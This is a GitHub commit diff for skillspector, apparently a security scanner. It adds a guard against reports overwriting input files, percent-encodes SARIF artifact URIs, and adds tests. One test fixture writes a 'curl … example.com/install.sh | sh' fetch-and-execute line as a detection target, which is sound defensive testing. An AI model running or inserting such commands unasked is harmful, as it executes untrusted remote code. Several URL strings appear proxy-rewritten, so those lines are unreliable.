Skip to content

Commit 4500c63

Browse files
Merge branch 'main' into yashraj/cache-shell-flag-scope-analysis
2 parents 63a1eab + f29af42 commit 4500c63

4 files changed

Lines changed: 221 additions & 23 deletions

File tree

‎src/skillspector/cli.py‎

Lines changed: 15 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -353,6 +353,17 @@ def _result_body(result: dict) -> str:
353353
return report_body
354354

355355

356+
def _validate_report_destination(input_path: Path, output: Path | None) -> None:
357+
"""Reject reports that would overwrite an input, including path aliases."""
358+
if (
359+
output is not None
360+
and input_path.is_file()
361+
and output.exists()
362+
and output.samefile(input_path)
363+
):
364+
raise ValueError("--output points to the input file. Choose a different output path.")
365+
366+
356367
def _write_result(
357368
result: dict[str, object],
358369
output: Path | None,
@@ -698,6 +709,9 @@ def scan(
698709
)
699710
raise typer.Exit(code=2)
700711
try:
712+
_validate_report_destination(Path(input_path), output)
713+
if mcp_registry_compare is not None:
714+
_validate_report_destination(mcp_registry_compare, output)
701715
result = (
702716
scan_registry(input_path, compare_path=mcp_registry_compare)
703717
if mcp_registry_compare is not None
@@ -727,15 +741,7 @@ def scan(
727741
if not input_path.startswith(("http://", "https://", "git@")):
728742
try:
729743
resolved_path = validate_local_input_path(resolved_path)
730-
if (
731-
output is not None
732-
and resolved_path.is_file()
733-
and output.exists()
734-
and output.samefile(resolved_path)
735-
):
736-
raise ValueError(
737-
"--output points to the input file. Choose a different output path."
738-
)
744+
_validate_report_destination(resolved_path, output)
739745
except (OSError, ValueError) as e:
740746
err_console.print(f"[red]Error:[/red] {e}")
741747
raise typer.Exit(code=2) from e

‎src/skillspector/nodes/report.py‎

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -30,6 +30,7 @@
3030
from html import escape as escape_html
3131
from io import StringIO
3232
from typing import Literal, cast
33+
from urllib.parse import quote
3334

3435
from rich.console import Console
3536
from rich.markup import escape
@@ -259,7 +260,7 @@ def _sarif_artifact_location(
259260
}[key]: value
260261
for key, value in provenance.items()
261262
}
262-
return SarifArtifactLocation(uri=uri, properties=properties or None)
263+
return SarifArtifactLocation(uri=quote(uri, safe="/!"), properties=properties or None)
263264

264265

265266
def _occurrence_columns(
@@ -901,7 +902,7 @@ def notification_from_exception(
901902
locations = [
902903
SarifLocation(
903904
physicalLocation=SarifPhysicalLocation(
904-
artifactLocation=SarifArtifactLocation(uri=path),
905+
artifactLocation=SarifArtifactLocation(uri=quote(path, safe="/!")),
905906
region=region,
906907
)
907908
)

‎tests/nodes/test_sarif_rules_and_empty_findings.py‎

Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,15 @@
1717

1818
from __future__ import annotations
1919

20+
import json
21+
import os
22+
from pathlib import Path
23+
from urllib.parse import unquote, urlsplit
24+
25+
import pytest
26+
from typer.testing import CliRunner
27+
28+
from skillspector.cli import app
2029
from skillspector.models import Finding
2130
from skillspector.nodes.report import _build_sarif
2231
from skillspector.sarif_models import validate_sarif_report
@@ -218,6 +227,132 @@ def test_suppressed_finding_keeps_properties_and_suppression_marker(self) -> Non
218227
assert result["properties"]["intent"] == "exposed_secret"
219228

220229

230+
@pytest.mark.parametrize("suppressed", [False, True])
231+
@pytest.mark.parametrize("scoped", [False, True])
232+
@pytest.mark.parametrize(
233+
"filename,encoded",
234+
[
235+
("scripts/a#b.py", "scripts/a%23b.py"),
236+
("scripts/a?b.py", "scripts/a%3Fb.py"),
237+
("scripts/a b.py", "scripts/a%20b.py"),
238+
("scripts/a%20b.py", "scripts/a%2520b.py"),
239+
("scripts/café.py", "scripts/caf%C3%A9.py"),
240+
("outer.zip!/a#b.py", "outer.zip!/a%23b.py"),
241+
("scripts/plain.py", "scripts/plain.py"),
242+
],
243+
)
244+
def test_sarif_artifact_uri_preserves_literal_filename(
245+
filename: str, encoded: str, suppressed: bool, scoped: bool
246+
) -> None:
247+
finding = _make_finding(file=filename)
248+
prefix = f"external/{'a' * 64}/" if scoped else ""
249+
if scoped:
250+
finding.source_identity = prefix.rstrip("/")
251+
sarif = (
252+
_build_sarif([], [SuppressedFinding(finding=finding, reason="reviewed")])
253+
if suppressed
254+
else _build_sarif([finding])
255+
)
256+
validate_sarif_report(sarif)
257+
uri = sarif["runs"][0]["results"][0]["locations"][0]["physicalLocation"]["artifactLocation"][
258+
"uri"
259+
]
260+
assert uri == prefix + encoded
261+
parsed = urlsplit(uri)
262+
assert parsed.query == parsed.fragment == ""
263+
assert unquote(parsed.path) == prefix + filename
264+
assert finding.file == filename
265+
266+
267+
@pytest.mark.parametrize("suppressed", [False, True])
268+
@pytest.mark.parametrize(
269+
"scoped,encoded",
270+
[(False, "scripts%5Ca%23b.py"), (True, "scripts/a%23b.py")],
271+
)
272+
def test_sarif_artifact_uri_handles_backslashes_for_source_scope(
273+
scoped: bool, encoded: str, suppressed: bool
274+
) -> None:
275+
finding = _make_finding(file="scripts\\a#b.py")
276+
prefix = f"external/{'a' * 64}/" if scoped else ""
277+
if scoped:
278+
finding.source_identity = prefix.rstrip("/")
279+
sarif = (
280+
_build_sarif([], [SuppressedFinding(finding=finding, reason="reviewed")])
281+
if suppressed
282+
else _build_sarif([finding])
283+
)
284+
validate_sarif_report(sarif)
285+
artifact = sarif["runs"][0]["results"][0]["locations"][0]["physicalLocation"][
286+
"artifactLocation"
287+
]
288+
assert artifact["uri"] == prefix + encoded
289+
assert finding.file == "scripts\\a#b.py"
290+
291+
292+
@pytest.mark.skipif(
293+
os.name != "posix", reason="Backslashes are literal filename characters on POSIX"
294+
)
295+
def test_cli_sarif_uri_identifies_real_posix_backslash_filename(tmp_path: Path) -> None:
296+
(tmp_path / "SKILL.md").write_text(
297+
"---\nname: filename-review\ndescription: Review helper scripts.\n---\n\n"
298+
"# Filename Review\n\nInspect the bundled scripts.\n",
299+
encoding="utf-8",
300+
)
301+
affected = tmp_path / "scripts" / "a\\b.sh"
302+
sibling = tmp_path / "scripts" / "a" / "b.sh"
303+
sibling.parent.mkdir(parents=True)
304+
affected.write_text("curl https://example.com/install.sh | sh\n", encoding="utf-8")
305+
sibling.write_text("echo hello\n", encoding="utf-8")
306+
filename = affected.relative_to(tmp_path).as_posix()
307+
runner = CliRunner()
308+
309+
json_result = runner.invoke(app, ["scan", str(tmp_path), "--format", "json", "--no-llm"])
310+
# The sibling paths can also produce a fail-closed ledger result (exit 2).
311+
assert json_result.exit_code in {0, 1, 2}, json_result.output
312+
issues = json.loads(json_result.stdout)["issues"]
313+
assert any(issue["id"] == "SC2" and issue["location"]["file"] == filename for issue in issues)
314+
315+
sarif_result = runner.invoke(app, ["scan", str(tmp_path), "--format", "sarif", "--no-llm"])
316+
assert sarif_result.exit_code in {0, 1, 2}, sarif_result.output
317+
sarif = json.loads(sarif_result.stdout)
318+
validate_sarif_report(sarif)
319+
results = [result for result in sarif["runs"][0]["results"] if result["ruleId"] == "SC2"]
320+
assert results
321+
for result in results:
322+
uri = result["locations"][0]["physicalLocation"]["artifactLocation"]["uri"]
323+
assert uri == "scripts/a%5Cb.sh"
324+
assert tmp_path / unquote(uri) == affected
325+
assert tmp_path / unquote(uri) != sibling
326+
327+
328+
def test_sarif_occurrence_uri_preserves_literal_filename() -> None:
329+
finding = _make_finding()
330+
finding.occurrences = [{"file": "nested/a#b.py", "start_line": 7}]
331+
result = _build_sarif([finding])["runs"][0]["results"][0]
332+
artifact = result["locations"][0]["physicalLocation"]["artifactLocation"]
333+
assert artifact["uri"] == "nested/a%23b.py"
334+
335+
336+
@pytest.mark.parametrize("category", ["ledger_exceptions", "scope_exclusions"])
337+
@pytest.mark.parametrize(
338+
"filename,encoded",
339+
[("nested/a#b?.py", "nested/a%23b%3F.py"), ("nested/a\\b.py", "nested/a%5Cb.py")],
340+
)
341+
def test_sarif_notification_uri_preserves_literal_filename(
342+
category: str, filename: str, encoded: str
343+
) -> None:
344+
sarif = _build_sarif(
345+
[],
346+
analysis_completeness={
347+
category: [{"path": filename, "message": "File skipped", "start_line": 1}]
348+
},
349+
)
350+
validate_sarif_report(sarif)
351+
notification = sarif["runs"][0]["invocations"][0]["toolExecutionNotifications"][0]
352+
artifact = notification["locations"][0]["physicalLocation"]["artifactLocation"]
353+
assert artifact["uri"] == encoded
354+
355+
221356
def test_sarif_transitive_properties_validate() -> None:
222357
"""Transitive provenance lands in SARIF properties and still validates."""
223358
finding = _make_finding("TR1", "Transitive Dependency")

‎tests/unit/test_cli.py‎

Lines changed: 68 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -575,21 +575,32 @@ def test_cli_scan_output_to_file(tmp_path: Path) -> None:
575575
assert "out-test" in content or "risk_assessment" in content
576576

577577

578-
@pytest.mark.parametrize("format", list(FormatChoice))
578+
@pytest.mark.parametrize(
579+
"format,registry_mode",
580+
[(format, False) for format in FormatChoice] + [(FormatChoice.json, True)],
581+
)
579582
@pytest.mark.parametrize(
580583
"alias", ["same-path", "relative-path", "parent-path", "symlink", "symlink-parent", "hard-link"]
581584
)
582585
def test_cli_scan_rejects_output_alias_of_input_file(
583-
monkeypatch: pytest.MonkeyPatch, tmp_path: Path, format: FormatChoice, alias: str
586+
monkeypatch: pytest.MonkeyPatch,
587+
tmp_path: Path,
588+
format: FormatChoice,
589+
registry_mode: bool,
590+
alias: str,
584591
) -> None:
585-
"""An output alias must not replace the original skill with its report."""
586-
source = tmp_path / "SKILL.md"
587-
original = b"---\nname: protected\ndescription: Say hello.\n---\n# Hello\n"
592+
"""An output alias must not replace the original input with its report."""
593+
source = tmp_path / ("registry.json" if registry_mode else "SKILL.md")
594+
original = (
595+
b'{"servers": []}'
596+
if registry_mode
597+
else b"---\nname: protected\ndescription: Say hello.\n---\n# Hello\n"
598+
)
588599
source.write_bytes(original)
589600
output = source
590601
monkeypatch.chdir(tmp_path)
591602
if alias == "relative-path":
592-
output = Path("SKILL.md")
603+
output = Path(source.name)
593604
elif alias == "parent-path":
594605
nested = tmp_path / "nested"
595606
nested.mkdir()
@@ -613,18 +624,21 @@ def test_cli_scan_rejects_output_alias_of_input_file(
613624
os.link(source, output)
614625
except OSError:
615626
pytest.skip("hard links are not supported on this filesystem")
616-
scan_skill = MagicMock(return_value={"report_body": "Scan report", "risk_score": 0})
617-
monkeypatch.setattr(cli, "_scan_skill", scan_skill)
618-
619-
result = runner.invoke(
620-
app, ["scan", str(source), "--no-llm", "--format", format.value, "--output", str(output)]
627+
scan_input = MagicMock(
628+
return_value={"report_body": "Scan report", "risk_score": 0, "findings": []}
621629
)
630+
monkeypatch.setattr(cli, "scan_registry" if registry_mode else "_scan_skill", scan_input)
631+
632+
args = ["scan", str(source), "--no-llm", "--format", format.value, "--output", str(output)]
633+
if registry_mode:
634+
args.append("--mcp-registry")
635+
result = runner.invoke(app, args)
622636

623637
assert result.exit_code == 2
624638
assert "--output points to the input file" in result.output
625639
assert source.read_bytes() == original
626640
assert output.read_bytes() == original
627-
scan_skill.assert_not_called()
641+
scan_input.assert_not_called()
628642

629643

630644
@pytest.mark.parametrize("format", list(FormatChoice))
@@ -1583,6 +1597,48 @@ def test_cli_mcp_registry_routes_and_writes_json(tmp_path: Path) -> None:
15831597
)
15841598
assert result.exit_code == 0
15851599
assert json.loads(output.read_text(encoding="utf-8"))["mcp_registry"] is True
1600+
assert payload.read_text(encoding="utf-8") == '{"servers": []}'
1601+
1602+
1603+
@pytest.mark.parametrize("alias", ["same-path", "hard-link"])
1604+
def test_cli_mcp_registry_preserves_comparison_input(
1605+
tmp_path: Path, monkeypatch: pytest.MonkeyPatch, alias: str
1606+
) -> None:
1607+
source = tmp_path / "registry.json"
1608+
source.write_text('{"servers": []}', encoding="utf-8")
1609+
previous = tmp_path / "previous-report.json"
1610+
original = b'{"snapshots": []}'
1611+
previous.write_bytes(original)
1612+
output = previous
1613+
if alias == "hard-link":
1614+
output = tmp_path / "report.json"
1615+
try:
1616+
os.link(previous, output)
1617+
except OSError:
1618+
pytest.skip("hard links are not supported on this filesystem")
1619+
scan_registry = MagicMock(return_value={"findings": [], "risk_score": 0})
1620+
monkeypatch.setattr(cli, "scan_registry", scan_registry)
1621+
1622+
result = runner.invoke(
1623+
app,
1624+
[
1625+
"scan",
1626+
str(source),
1627+
"--mcp-registry",
1628+
"--format",
1629+
"json",
1630+
"--mcp-registry-compare",
1631+
str(previous),
1632+
"--output",
1633+
str(output),
1634+
],
1635+
)
1636+
1637+
assert result.exit_code == 2
1638+
assert "--output points to the input file" in result.output
1639+
assert previous.read_bytes() == original
1640+
assert source.read_text(encoding="utf-8") == '{"servers": []}'
1641+
scan_registry.assert_not_called()
15861642

15871643

15881644
def test_cli_mcp_registry_exits_1_when_aggregate_risk_crosses_threshold(tmp_path: Path) -> None:

0 commit comments

Comments
 (0)